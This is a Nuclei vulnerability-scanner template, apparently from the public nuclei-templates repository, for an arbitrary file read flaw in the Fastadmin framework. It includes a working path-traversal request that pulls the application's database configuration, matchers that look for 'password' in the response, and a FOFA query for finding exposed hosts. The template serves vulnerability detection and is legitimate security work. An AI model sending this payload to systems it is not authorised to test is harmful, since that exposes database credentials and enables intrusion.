nuclei-templates/http/vulnerabilities/other/fastadmin-lfi.yaml

35 lines
1.0 KiB
YAML
Raw Permalink Normal View History

2024-06-23 06:54:17 +00:00
id: fastadmin-lfi
info:
name: Fastadmin framework - Arbitrary File Read
2024-06-24 05:22:23 +00:00
author: Hel10-Web
2024-06-23 06:54:17 +00:00
severity: high
description: |
Arbitrary file reading vulnerability exists in Fastadmin framework.
2024-06-24 05:22:23 +00:00
reference:
- https://github.com/wy876/POC/blob/main/Fastadmin%E6%A1%86%E6%9E%B6%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
2024-06-23 06:54:17 +00:00
metadata:
verified: true
2024-06-24 05:22:23 +00:00
max-request: 1
2024-06-23 06:54:17 +00:00
fofa-query: app="FASTADMIN-框架"
2024-06-24 05:22:23 +00:00
tags: fastadmin,lfi
2024-06-23 06:54:17 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/index/ajax/lang?lang=..//..//application/database"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'jsonpReturn'
- 'database'
- 'password'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100fa5b97dac2270310edd8e5f61e36f45e9fa2a3496faf9cacc0bd330f402ea133022100bb4bbcb15ebabf6569c9c65e1ee8f49d6ab3b381c021c68e2b4aad17b9b8ae26:922c64590222798bb761d5b6d8e72950